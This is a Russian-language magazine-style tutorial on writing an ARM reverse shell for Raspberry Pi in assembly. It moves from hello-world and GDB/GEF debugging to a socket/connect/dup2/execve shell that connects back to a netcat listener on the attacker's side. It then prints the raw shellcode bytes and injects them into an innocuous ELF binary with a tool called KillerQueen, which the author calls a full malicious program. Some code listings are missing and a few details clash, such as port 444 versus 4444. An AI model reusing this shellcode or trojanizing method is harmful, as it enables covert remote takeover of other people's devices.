Как написать свой реверс-шелл

 

 

GEF уста­новим коман­дой

 

 

 

 

От­ладку мы будем выпол­нять в основном в GEF.

 

 

ПРОБУЕМ GDB И ПИШЕМ ПЕРВУЮ ПРОГРАММУ

Что­бы написать прог­рамму на ассем­бле­ре, пот­ребу­ются три инс­тру­мен­та:

• тек­сто­вый редак­тор — nano;
• прог­рамма для соз­дания объ­ектно­го фай­ла — as;
• прог­рамма для динами­чес­кой при­вяз­ки — ld.

Текстовый редактор — дело вкуса. Многие пишут на Vim, но мне удобнее в Nano, поэтому я буду писать код там. Программа as создает объектный файл, а ld выполняет динамическую привязку. Работать с этими программами нужно следующим образом:

1. Пи­шем коман­ду as source.asm -o source.o, которая соз­дает объ­ектный файл с наз­вани­ем source.o.
2. Свя­зыва­ем объ­ектный файл и пре­обра­зуем его в исполня­емый с помощью коман­ды ld source.o -o source.bin.

В каждом файле, содержащем ассемблерный код, должна быть точка, с которой начинается программа. Это выглядит так:

_start:

Эта точка определяется как глобальное имя для всей программы. Каждый оператор имеет следующий синтаксис:

<обозначение:> <инструкция> @ комментарий

Первая программа

В пер­вой прог­рамме, по клас­сике, реали­зован вывод при­ветс­твен­ной строч­ки — H3ll0, ][akep!:

Здесь

• • • r7 — номер про­цеду­ры;
    • r0 опре­деля­ет поток (stdin/stdout/stderr);
    • r2 — количес­тво выводи­мых сим­волов;
    • r1 хра­нит адрес стро­ки.

Все это схо­же с ассем­бле­ром для i386. В ARM регис­тры для вза­имо­дей­ствия такие:

• • • r7 — номер сис­темно­го вызова;
    • r0 — аргу­мент 1;
    • r1 — аргу­мент 2;
    • r2 — аргу­мент 3;
    • r3 — аргу­мент 4;
    • r4 — аргу­мент 5;
    • r5 — аргу­мент 6;
    • r0 — воз­вра­щаемое зна­чение или код ошиб­ки.

Информацию обо всех системных вызовах можно найти в помощи программы J0llyTr0LLz. Там же описано, что именно должно быть в регистрах. Вы можете скачать программу на GitHubи научиться с ней работать.

Ком­пилиру­ем при­ложе­ние и запус­каем.

Здесь -g — ключ для вклю­чения отла­доч­ной информа­ции. Пос­ле запус­ка уви­дим сле­дующее:

$ file proga1.bin
proga1.bin: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, not stripped
./proga1.bin
H3ll0, ][akep!

Поп­робу­ем про­деба­жить это при­ложе­ние.

ПЕРВЫЙ ОПЫТ В ОТЛАДКЕ

За­пус­каем GDB и заг­ружа­ем в него бинар­ный файл, пос­ле чего перехо­дим к раз­делу start:

$ gdb
gef➤ file proga1.bin
Reading symbols from proga1.bin...done.
gef➤ disassemble _start
Dump of assembler code for function _start:
0x00010074 <+0>: mov r7, #4
0x00010078 <+4>: mov r0, #1
0x0001007c <+8>: mov r2, #19
0x00010080 <+12>: ldr r1, [pc, #8] ; 0x10090 <_start+28>
0x00010084 <+16>: svc 0x00000000
0x00010088 <+20>: mov r7, #1
0x0001008c <+24>: svc 0x00000000
0x00010090 <+28>: muleq r2, r4, r0
End of assembler dump.

Пос­тавим точ­ку оста­нова на пер­вой инс­трук­ции и запус­тим прог­рамму:

b *_start
r

Ок­но отладки GDB-GEF выг­лядит так.

Шпар­галку по GDB-коман­дам мож­но най­ти вдо­кумен­тации, опуб­ликован­ной на сай­те Darkdust.

На пер­вом шаге все обну­лено:

С помощью команды ni мы переходим непосредственно к системному вызову. Если мы нажмем Enter после введенной команды, команда будет выполнена снова.

Смот­рим, что у нас в регис­трах:

Как мож­но заметить, вез­де лежат нуж­ные нам зна­чения. Пос­мотрим, что хра­нит­ся в регис­тре r1.

gef➤ x/s 0x00020094
0x20094: "H3ll0, ][akep!\nA\021"

Прой­дем даль­ше и най­дем вывод сооб­щения:

gef➤ n
H3ll0, ][akep!

 Сооб­щение вывелось. 

ПИШЕМ РЕВЕРС-ШЕЛЛ

Для написа­ния реверс‑шел­ла нам понадо­бят­ся сле­дующие сис­темные вызовы:

• • • socket — для соз­дания сер­вера;
    • connect — для под­клю­чения к жер­тве;
    • dup2 — для копиро­вания stdin/stdout/stderr;
    • execve — для запус­ка /bin/sh.

В целом ничего необычного, все стандартно. Нужные системные вызовы я буду искать в программе J0llyTr0LLz.

Для socket(PF_INET, SOCK_STREAM, 0) = socket(2, 1, 0):

1. 1. В регис­тре r7 будет лежать зна­чение 0x119.
   2. В регис­тре r0 зна­чение 2, потому что мы исполь­зуем PF_INET, семей­ство про­токо­лов IP.
   3. В регис­тре r1 находит­ся 1 — SOCK_STREAM(TCP).

Пер­вая часть кода получит­ся такой:

Дескриптор сокета будет храниться в регистре r0. Чтобы сохранить его, мы просто перенесем его в другой реестр, чтобы иметь возможность использовать его позже. Я выбрал регистр r4.

• • • • r7 = 0x11b;
      • r0 = sockid = r4;
      • r1 = &sockaddr;
      • r2 = 16.

Здесь sockaddr — струк­тура, в которой будет содер­жать­ся порт, IP-адрес и исполь­зуемый про­токол. В нашем слу­чае это TCP.

В ито­ге получа­ем такой фраг­мент кода:

Ко­ман­да adr получа­ет какой‑либо адрес, в ассем­бле­ре i386 есть ана­логич­ная инс­трук­ция lea.

Длина рассчитывается следующим образом: 2 байта — порт, 2 байта — AF_INET, 4 байта — IP-адрес и 8 байт — заполнение. Поэтому регистр r2 будет заполнен числом 16. Регистр r7 никак не изменился с момента последнего вызова, поэтому просто добавляем 2.

Ниже приведена конструкция dup2(sockid, stdin/stdout/stderr). Номер системного вызова dup2() — 0x3f. Значение sockid хранится в регистре r4, stdin/stdout/stderr равны 0/1/2 соответственно. Мы получаем следующее:

• • • r7 = 0x3f;
    • r0 = r4;
    • r1 = 0/1/2.

Ре­али­зация это­го шага будет выг­лядеть таким обра­зом:

Пос­ледний шаг: получа­ем шелл. Тут, в прин­ципе, клас­сика: execve("/bin/sh", 0, 0). В сек­ции дан­ных про­пишем сле­дующую стро­ку:

В r0 будет находить­ся стро­ка /bin/sh, r1 и r2 — нулевые, а в r7 — зна­чение 11. Таким обра­зом, код при­мет сле­дующий вид:

В ито­ге пол­ный код выг­лядит так:

Ком­пилиру­ем и про­веря­ем на каком‑нибудь тар­гете. На сто­роне хакера откры­ваем TCP-под­клю­чение:

$ nc -lvnp 444
Listening on 0.0.0.0 4444

Ком­пилиру­ем и запус­каем при­ложе­ние у жер­твы:

На сто­роне хакера видим сле­дующее:

Connection received on xxx.xxx.xxx.xxx xxxxx
$ whoami
whoami
pi

ИНЪЕКЦИЯ ШЕЛЛ-КОДА

После внедрения шеллкода можно считать, что мы создали полноценную вредоносную программу. Чтобы получить байты шеллкода, проанализируйте двоичный файл:

objcopy -O binary rs.bin rs_bytes.bin

Этой коман­дой мы вытащим основную часть бинаря, то есть сам шелл‑код:

$ xxd rs_bytes.bin
00000000: 0200 a0e3 0110 a0e3 0220 42e0 c870 a0e3 ......... B..p..
00000010: 5170 87e2 0100 00ef 0040 a0e1 3410 8fe2 Qp.......@..4...
00000020: 1020 a0e3 0270 87e2 0100 00ef 0400 a0e1 . ...p..........
00000030: 0110 41e0 0770 47e0 3f70 a0e3 0000 00ef ..A..pG.?p......
00000040: 0400 a0e1 0110 81e2 0000 00ef 0400 a0e1 ................
00000050: 0110 81e2 0000 00ef 02ff 115c 0a21 4507 ............!E.

Затем проведем инъекцию с помощью программы KillerQueen; описание работы программы можно найти на ее странице на GitHub.

На сто­роне поль­зовате­ля мы задей­ству­ем незамыс­ловатую прог­рамму:

Ском­пилирую ее в Raspberry Pi:

$ gcc hello_xakep.c -o hello_xakep.bin -no-pie
$ file hello_xakep.bin
hello_xaker.bin: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=1d0e0528aa357a184a069a0ef77b138b89fed21b, not stripped

За­пус­каем KillerQueen и встав­ляем туда сам шелл‑код:

0200 a0e3 0110 a0e3 0220 42e0 c870 a0e3 5170 87e2 0100 00ef 0040 a0e1 3410 8fe21020 a0e3 0270 87e2 0100 00ef 0400 a0e10110 41e0 0770 47e0 3f70 a0e3 0000 00ef 0400 a0e1 0110 81e2 0000 00ef 0400 a0e1 0110 81e2 0000 00ef 02ff 115c 0a21 4507

Да­лее заг­ружа­ем в нее под­став­ную прог­рамму hello_xakep.bin.

Ло­ги под­твержда­ют, что про­га заг­ружена.

Выберите Инструменты → ELFInject. После этого у программы появится новая точка входа и мы увидим сообщение о том, что шеллкод внедрен.